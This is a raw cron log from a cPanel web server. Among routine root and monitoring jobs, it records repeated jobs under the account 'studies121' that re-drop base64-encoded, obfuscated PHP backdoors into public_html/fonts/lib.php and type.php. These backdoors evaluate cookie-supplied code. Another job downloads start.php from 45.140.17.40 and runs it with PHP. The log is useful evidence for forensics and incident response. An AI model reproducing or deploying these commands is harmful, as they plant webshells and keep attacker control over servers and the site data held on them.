Sep 10 11:36:01 ip-184-168-122-23 CROND[29797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:37:01 ip-184-168-122-23 CROND[29937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:37:01 ip-184-168-122-23 CROND[29940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:37:01 ip-184-168-122-23 CROND[29938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:37:01 ip-184-168-122-23 CROND[29939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:38:01 ip-184-168-122-23 CROND[30141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:38:01 ip-184-168-122-23 CROND[30144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:38:01 ip-184-168-122-23 CROND[30145]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:38:01 ip-184-168-122-23 CROND[30143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:38:01 ip-184-168-122-23 CROND[30146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:39:01 ip-184-168-122-23 CROND[30271]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:39:01 ip-184-168-122-23 CROND[30274]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 11:39:01 ip-184-168-122-23 CROND[30275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:39:01 ip-184-168-122-23 CROND[30273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:39:01 ip-184-168-122-23 CROND[30277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:40:01 ip-184-168-122-23 CROND[30415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:40:01 ip-184-168-122-23 CROND[30418]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:40:01 ip-184-168-122-23 CROND[30417]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:40:01 ip-184-168-122-23 CROND[30422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:40:01 ip-184-168-122-23 CROND[30423]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:40:01 ip-184-168-122-23 CROND[30424]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 11:40:01 ip-184-168-122-23 CROND[30426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:40:01 ip-184-168-122-23 CROND[30425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:41:01 ip-184-168-122-23 CROND[30553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:41:01 ip-184-168-122-23 CROND[30554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:41:01 ip-184-168-122-23 CROND[30555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:41:01 ip-184-168-122-23 CROND[30557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:42:01 ip-184-168-122-23 CROND[30662]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:42:01 ip-184-168-122-23 CROND[30661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:42:01 ip-184-168-122-23 CROND[30660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:42:01 ip-184-168-122-23 CROND[30664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:42:01 ip-184-168-122-23 CROND[30663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:43:01 ip-184-168-122-23 CROND[30851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:43:01 ip-184-168-122-23 CROND[30854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:43:01 ip-184-168-122-23 CROND[30852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:43:01 ip-184-168-122-23 CROND[30853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:44:01 ip-184-168-122-23 CROND[30957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:44:01 ip-184-168-122-23 CROND[30960]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:44:01 ip-184-168-122-23 CROND[30961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:44:01 ip-184-168-122-23 CROND[30962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:44:01 ip-184-168-122-23 CROND[30959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:45:01 ip-184-168-122-23 CROND[31129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:45:01 ip-184-168-122-23 CROND[31131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:45:01 ip-184-168-122-23 CROND[31135]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:45:01 ip-184-168-122-23 CROND[31137]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:45:01 ip-184-168-122-23 CROND[31134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:45:01 ip-184-168-122-23 CROND[31136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:46:01 ip-184-168-122-23 CROND[31240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:46:01 ip-184-168-122-23 CROND[31242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:46:01 ip-184-168-122-23 CROND[31244]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 11:46:01 ip-184-168-122-23 CROND[31245]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 11:46:01 ip-184-168-122-23 CROND[31249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:46:01 ip-184-168-122-23 CROND[31246]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:46:01 ip-184-168-122-23 CROND[31248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:47:01 ip-184-168-122-23 CROND[31414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:47:01 ip-184-168-122-23 CROND[31417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:47:01 ip-184-168-122-23 CROND[31416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:47:01 ip-184-168-122-23 CROND[31418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:48:01 ip-184-168-122-23 CROND[31555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:48:01 ip-184-168-122-23 CROND[31557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:48:02 ip-184-168-122-23 CROND[31559]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:48:02 ip-184-168-122-23 CROND[31560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
